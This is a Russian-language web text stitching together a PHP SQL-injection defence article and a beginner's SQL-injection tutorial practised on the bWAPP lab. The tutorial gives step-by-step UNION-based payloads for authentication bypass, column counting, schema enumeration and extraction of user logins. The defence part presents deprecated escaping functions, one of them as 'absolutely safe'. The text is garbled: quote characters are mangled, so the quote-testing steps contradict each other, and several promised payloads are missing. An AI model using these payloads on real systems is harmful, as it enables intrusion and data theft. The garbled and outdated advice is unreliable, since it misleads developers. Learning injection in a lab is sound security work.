$detail_id=$_GET["detail"];
$zapros="SELECT * FROM `$table_news` WHERE `public`="1" AND `id`=$detail_id ORDER BY `position` DESC";

Мало того, что $detail_id получает значение без какой либо обработки, так ещё и конструкция `id`=$detail_id написана криво, лучше придерживаться `id`="$detail_id" (т.е сравниваемое значение писать в прямых апострофах).

Глядя на запрос, получаемый при обращении к странице через test.ru/?detail=4+OR+1

SELECT * FROM `news` WHERE `public`="1" AND `id`=4 OR 1 ORDER BY `position` DESC

Становится не совсем ясно, почему отобразилась 4-ая новость. Дело в том, что запрос вернул все записи из таблицы новостей, отсортированные в порядке убывания сверху. И таким образом наша 4-ая новость оказалась самой первой, она же и вывелась как детальная. Т.е просто совпадение.

Разбираем запрос, сформированный при обращении через test.ru/?detail=4+UNION+SELECT+*+FROM+news+WHERE+id=4 .

Тут название таблицы с новостями (в нашем случае это news) бралось логическим перебором.
Итак, выполнился запрос SELECT * FROM `news` WHERE `public`="1" AND `id`=4 UNION SELECT * FROM news WHERE id=4 ORDER BY `position` DESC . К нулевому результату первой части запроса (до UNION) присоединился результат второй части (после UNION), вернувшей детальное описание 4-ой новости.

Защита от SQL инъекций (SQL внедрений)

Защита от взлома сводится к базовому правилу «доверяй, но проверяй». Проверять нужно всё – числа, строки, даты, данные в специальных форматах.
Числа
Для проверки переменной на числовое значение используется функция is_numeric(n);, которая вернёт true, если параметр n - число, и false в противном случае.
Так же можно не проверять значение на число, а вручную переопределить тип. Вот пример, переопределяющий значение $id, полученное от $_GET["id_news"] в значение целочисленного типа (в целое число):
$id=(int)$_GET["id_news"];
Строки
Большинство взломов через SQL происходят по причине нахождения в строках «необезвреженных» кавычек, апострофов и других специальных символов. Для такого обезвреживания нужно использовать функцию addslashes($str);, которая возвращает строку $str с добавленным обратным слешем (\) перед каждым специальным символом. Данный процесс называется экранизацией.

$a="пример текста с апострофом " ";
echo addslashes($a); //будет выведено: пример текста с апострофом \"

Кроме этого существуют две функции, созданные именно для экранизации строк, используемых в SQL выражениях.
Это mysql_escape_string($str); и mysql_real_escape_string($str);.

Первая не учитывает кодировку соединения с БД и может быть обойдена, а вот вторая её учитывает и абсолютно безопасна. mysql_real_escape_string($str); возвращает строку $str с добавленным обратным слешем к следующим символам: \x00, \n, \r, \, ", " и \x1a .

Магические кавычки

Магические кавычки – эффект автоматической замены кавычки на обратный слэш (\) и кавычку при операциях ввода/вывода. В некоторых конфигурациях PHP этот параметр включён, а в некоторых нет. Для того, что бы избежать двойного экранизирования символов и заэкранизировать данные по-нормальному через mysql_real_escape_string($str);, необходимо убрать автоматические проставленные обратные слеши (если магические кавычки включены).

Проверка включённости магических кавычек для данных получаемых из GET, POST или Куков организуется через функцию get_magic_quotes_gpc(); (возвращает 1 – если магические кавычки включены, 0 – если отключены).

Если магические кавычки вкючены (т.е обратные слеши добавляеются) и такое встречается чаще, то их нужно убрать. Это делается через функцию stripslashes($str); (возвращает строку $str без обратных слешей у кавычек и прямых апострофов).

В закючении привожу код с полной экранизацией строк для записи в БД

If(get_magic_quotes_gpc()==1)
{
$element_title=stripslashes(trim($_POST["element_title"]));
$element_text=stripslashes(trim($_POST["element_text"]));
$element_date=stripslashes(trim($_POST["element_date"]));
}
else
{
$element_title=trim($_POST["element_title"]);
$element_text=trim($_POST["element_text"]);
$element_date=trim($_POST["element_date"]);
}

$element_title=mysql_real_escape_string($element_title);
$element_text=mysql_real_escape_string($element_text);
$element_date=mysql_real_escape_string($element_date);

Статья была подготовлена на основе практических навыков по защите веб-систем. Теория дело хорошее, но практика важнее и главное она работает.

SQL-инъекция для новичков

SQL-инъекция - это опасная уязвимость, которая возникает из-за недостаточной фильтрации вводимых пользователем данных, что позволяет модифицировать запросы к базам данных. Результатом эксплуатации SQL-инъекции является получение доступа к данным, к которым в обычных условиях у пользователя не было бы доступа.

Обычно SQLi находят в веб-приложениях. Но на самом деле, SQL-инъекции могут быть подвержены любые программы, использующие разные базы данных (не только MySQL/MariaDB).

В качестве примера, рассмотрим приложение, которое обращается к базе данных со следующим запросом:

SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo" AND password ="111"

Запрос похож на естественный язык (английский), и его значение довольно просто интерпретировать:

Выбрать (SELECT) поля `name`, `status`, `books` из (FROM) таблицы `members` где (WHERE) значение поля name равно величине Demo (name = "Demo") и (AND) значение поля password равно величине 111 (password ="111").

Этот запрос вызывает обход таблицы, в результате которого делается сравнение с каждой строкой, и если условие name = "Demo" AND password ="111" является для какой-либо строки истиной, то она попадает в результаты. В данном случае, результаты будут только если и введённое имя пользователя, и пароль в точности совпадают с теми, которые хранятся в таблице.

При этом значения «Demo» и «111» приложение получает от пользователя - например, в форме входа на сайт.

Предположим, что вместо Demo пользователь ввёл такую строку:

Demo" --

Тогда запрос к базе данных будет иметь вид:

SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo" -- " AND password ="111"

Две чёрточки () - означают комментарий до конца строки, т.е. всё, что за ними, больше не учитывается. Следовательно, из выражения условия «исчезает» часть " AND password ="111"

Поскольку в комментарии осталась закрывающая кавычка, то она также была введена с именем пользователя, чтобы не сломать синтаксис и не вызвать ошибку, в результате, фактически, к базе данных делался следующий запрос:

SELECT `name`, `status`, `books` FROM `members` WHERE name = "Demo"

В нём была нарушена логика работы программы, заложенная разработчиками. Т.е. теперь поиск в таблице производится только по имени. И если имя совпало, то строка попадает в результаты независимо от введённого пароля. Это и есть пример эксплуатации SQL-инъекции. В реальной ситуации, такая ошибка может быть использована на веб-сайте для входа под учётной записью администратора, для которой достаточно знать только имя, а пароль становится ненужным.

Кроме обхода аутентификации, SQL-инъекция используется для извлечения информации из баз данных, вызова отказа в обслуживании (DoS), эксплуатацию других уязвимостей (вроде XSS) и т.п.

Эксплуатации SQL-инъекции

Каждый раз с любым приложением, где бы не эксплуатировалась SQL-инъекция, используются следующие три базовых правила внедрения:

  • Балансировка
  • Внедрение
  • Комментирование

Балансировка заключается в том, что количество открывающих и закрывающих кавычек и скобок должно быть одинаковым, чтобы не вызвать ошибку синтаксиса. При исследовании ошибки нужно определить, используются, и если используются, то какие кавычки и скобки.

Внедрение заключается в дополнении запроса в зависимости от информации, которую мы хотим получить.

Комментирование позволяет отсечь заключительную часть запроса, чтобы она не нарушала синтаксис.

Комментарии в MySQL начинаются с символов:

Т.е. вместо

Demo" --

можно было бы ввести

Обратите внимание, что после двойной черты обязательно нужен пробел, а после # пробел необязателен.

Можно продолжить менять логику запроса, если в качестве имени пользователя вставить:

Demo" OR 1 --

то получится запрос

SELECT `name`, `status`, `books` FROM `members` WHERE name = " Demo" OR 1 -- " AND password ="111"

Уберём закомментированную часть:

SELECT `name`, `status`, `books` FROM `members` WHERE name = " Demo" OR 1

Мы используем логическое ИЛИ (OR). Логическое ИЛИ возвращает true (истину) если хотя бы одно из выражений является истиной. В данном случае второе выражение 1 всегда является истинной. Следовательно, в результаты попадут вообще все записи таблицы. В реальном веб-приложении можно достичь результата, когда будут выведены данные всех пользователей, несмотря на то, что атакующий не знал ни их логины, ни пароли.

В нашем примере после введённого значения Demo мы ставили одинарную кавычку ("), чтобы запрос оставался правильным с точки зрения синтаксиса. Запрос может быть написан по-разному, например, все следующие формы возвращают одинаковый результат.

Для запросов с цифрой:

SELECT * FROM table_name WHERE id=1 SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id=(1) SELECT * FROM table_name WHERE id=("1") SELECT * FROM table_name WHERE id=("1")

Для запросов со строкой:

SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id="1" SELECT * FROM table_name WHERE id=("1") SELECT * FROM table_name WHERE id=("1")

В зависимости от того, как составлен запрос, нужно использовать соответствующие символы парные закрывающие символы, чтобы не происходило нарушения синтаксиса. Например, если бы запрос был записан так (в нём вместо одинарных кавычек, используются двойные):

SELECT * FROM `members` WHERE name = "$name" AND password = "$password"

то имя пользователя

не возымело бы действия и не вызвало бы ошибку. Для обозначения конца введённого имени нужно использовать закрывающую двойную кавычку, т.е.:

Для такого запроса (используются одинарные кавычки и круглые скобки):

SELECT * FROM `members` WHERE name = ("$name") AND password = ("$password")

нужно также закрывать круглые скобки, т.е. для эксплуатации SQL-инъекции нужно ввести что-то вроде

Demo") #

Главными признаками наличия SQL-инъекции является вывод ошибки или отсутствие вывода при вводе одинарной или двойной кавычки. Эти символы могут вызвать ошибку и в самом приложении, поэтому чтобы быть уверенным, что вы имеете дело именно с SQL-инъекцией, а не с другой ошибкой, нужно изучить выводимое сообщение.

Стиль ошибок MySQL:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "\"" at line 1

Ошибка в MSSQL ASPX:

Server Error in "/" Application

Ошибка в MSAccess (Apache PHP):

Fatal error: Uncaught exception "com_exception" with message Source: Microsoft JET Database Engine

Ошибка в MSAccesss (IIS ASP):

Microsoft JET Database Engine error "80040e14"

Ошибка в Oracle:

ORA-00933: SQL command not properly ended

Ошибка в ODBC:

Microsoft OLE DB Provider for ODBC Drivers (0x80040E14)

Ошибка в PostgreSQL:

PSQLException: ERROR: unterminated quoted string at or near """ Position: 1 или Query failed: ERROR: syntax error at or near """ at character 56 in /www/site/test.php on line 121.

Ошибка в MS SQL Server:

Microsoft SQL Native Client error %u201880040e14%u2019 Unclosed quotation mark after the character string

Информация об СУБД также используется определения, какие символы или последовательности символов можно использовать в качестве комментариев.

Практический пример простой SQL-инъекции

Для тренировки я буду использовать bWAPP (по ссылке описание и процесс установки).

Выбираем баг «SQL Injection (GET/Search) »/

От нас ожидается ввод названия фильма, введём в поиск «Iron Man»:

Iron Man"

Результат

Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "%"" at line 1

Это говорит о том, что одинарные кавычки не фильтруются и что для обрамления введённых строк не используются двойные кавычки.

Iron Man"

Результат

Т.е. ничего не найдено, это говорит о том, что двойные кавычки также не фильтруются (иначе был бы найден фильм по запросу Iron Man). Также это говорит о том, что для обрамления введённых строк используются одинарные кавычки.

Исходя из полученной информации, формируем строку для вывода всех записей таблицы:

Iron Man" OR 1 #

Результат:

Определение количества столбцов таблицы с помощью ORDER BY

Для создания более сложных команд инъекции нужно знать, сколько в таблице столбцов.

ORDER BY задаёт сортировку полученных из таблицы данных. Можно задавать сортировку по имени столбца, а можно по его номеру. Причём, если столбца с таким номером нет, то будет показана ошибка.

Последовательно пробуем следующие строки (AND 0 используется для подавления лишнего вывода):

Iron Man" AND 0 ORDER BY 1 # Iron Man" AND 0 ORDER BY 2 # Iron Man" AND 0 ORDER BY 3 # ……………………… ……………………… ……………………… Iron Man" AND 0 ORDER BY 7 #

Iron Man" AND 0 ORDER BY 8 #

получен следующий результат:

Error: Unknown column "8" in "order clause"

Это означает, что восьмой столбец отсутствует в таблице, т.е. в таблице всего семь столбцов.

Другой способ нахождения количества столбцов - с помощью того же UNION. Лесенкой прибавляем количество столбцов:

Iron Man" AND 0 UNION SELECT 1 # Iron Man" AND 0 UNION SELECT 1,2 # ……………………… ……………………… ……………………… Iron Man" AND 0 UNION SELECT 1,2,3,4,5,6,7 #

Все они будут вызывать одну и туже ошибку:

Ошибка: The used SELECT statements have a different number of columns

Делайте так пока не исчезнет сообщение об ошибке.

Объединение запросов с UNION SELECT

UNION позволяет объединять результаты в один от нескольких выражений SELECT .

Конструируем наш запрос с UNION :

Iron Man" AND 0 UNION SELECT 1,2,3,4,5,6,7 #

Как я сказал, количество полей должно быть в обоих SELECT одинаковое, а вот что в этих полях — не очень важно. Можно, например, прописать просто цифры — и именно они и будут выведены. Можно прописать NULL - тогда вместо поля ничего не будет выведено.

Обратите внимание, что содержимое некоторых полей UNION SELECT 2,3,4,5 выводится на экран. Вместо цифр можно задать функции.

Что писать в SELECT

Есть некоторые функции и переменные, которые можно писать непосредственно в UNION :

Переменная / Функция Вывод
@@hostname Текущее имя хоста
@@tmpdir Директория для временных файлов
@@datadir Директория с базами данных
@@version Версия БД
@@basedir Базовая директория
user() Текущий пользователь
database() Текущая база данных
version() Версия
schema() Текущая база данных
UUID() Ключ системного UUID
current_user() Текущий пользователь
current_user Текущий пользователь
system_user() Текущий системный пользователь
session_user() Сессионный пользователь
@@GLOBAL.have_symlink Проверка, включены или отключены симлинки
@@GLOBAL.have_ssl Проверка, имеется SSL или нет

Ввод для получения имени базы данных:

Iron Man" AND 0 UNION SELECT 1,database(),3,4,5,6,7 #

База данных INFORMATION_SCHEMA

В списке баз данных MySQL / MariaDB всегда присутствует INFORMATION_SCHEMA . Это служебная БД, которая обеспечивает доступ к метаданным баз данных, информации о сервере MySQL. Проще говоря, она содержит информацию о всех других базах данных, которые поддерживает MySQL / MariaDB сервер. Эта информация включает имена баз данных и таблиц.

Например, следующий запрос выведет имена всех баз данных, присутствующих на сервере:

SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA

  • SELECT и FROM - уже знакомые элементы языка запросов к базам данных;
  • SCHEMA_NAME - имя запрашиваемого столбца;
  • INFORMATION_SCHEMA - имя базы данных, к которой делается запрос;
  • SCHEMATA - имя таблицы, в которой ищется запрашиваемый столбец.

Получение списка всех баз данных на сервере через SQL-инъекцию

Используя UNION , мы можем сделать запрос к базе данных INFORMATION_SCHEMA . Например, чтобы вывести содержимое поля SCHEMA_NAME (имена присутствующих баз данных на сервере), можно сделать примерно следующий ввод:

Иногда скрипт веб-приложения, подверженный SQL-инъекции, выводит только по одной записи. В нашем примере это не так, но если бы, например, ввод

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA #

выводил только по одной записи, то для того, чтобы посмотреть все таблицы, можно было бы использовать LIMIT . Например, для первой строки:

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1 #

Для второй строки:

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 1,1 #

Для третьей строки:

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 2,1 #

Для четвёртой строки:

Iron Man" AND 0 UNION SELECT 1,SCHEMA_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 3,1 #

Можно задействовать более сложный синтаксис с использованием WHERE и функций. Например, следующий ввод приведёт к показу имён таблиц текущей базы данных:

Iron Man" AND 0 UNION SELECT 1,TABLE_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() #

Получив имена таблиц баз данных, можно продолжить далее и получить имена столбцов:

Желаемый запрос:

SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name="tablenamehere"

Где вместо tablenamehere нужно подставлять имя таблицы.

Например, нами получены следующий имена присутствующих в базе данных таблиц:

  • heroes
  • movies
  • users
  • visitors

Тогда для получения имён столбцов в таблице blog нужно сформировать запрос

SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name="blog"

Применительно к нашей уязвимости получаем ввод:

Iron Man" AND 0 UNION SELECT 1,COLUMN_NAME,3,4,5,6,7 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=database() AND TABLE_NAME="blog" #

Здесь также можно применять LIMIT .

Извлечение данных из таблицы с помощью SQL-инъекции

Теперь, когда мы знаем имя базы данных, имя таблицы и имя поля, мы можем извлечь данные из произвольной колонки. Например, ввод:

Например, следующий ввод для нашей уязвимости означает извлечь содержимое колонки login из таблицы users из текущей БД:

Iron Man" AND 0 UNION SELECT 1,login,3,4,5,6,7 FROM users #

Заключение по первой части

В первой части были рассмотрены азы SQL-инъекции. В последующих частях будут рассмотрены различные виды SQLi и примеры эксплуатации в различных условиях. Если у вас возникли затруднения с пониманием этого материала, то рекомендуется начать с изучением языка запросов к базе данных . Если вопросы остались, то пишите их в комментариях.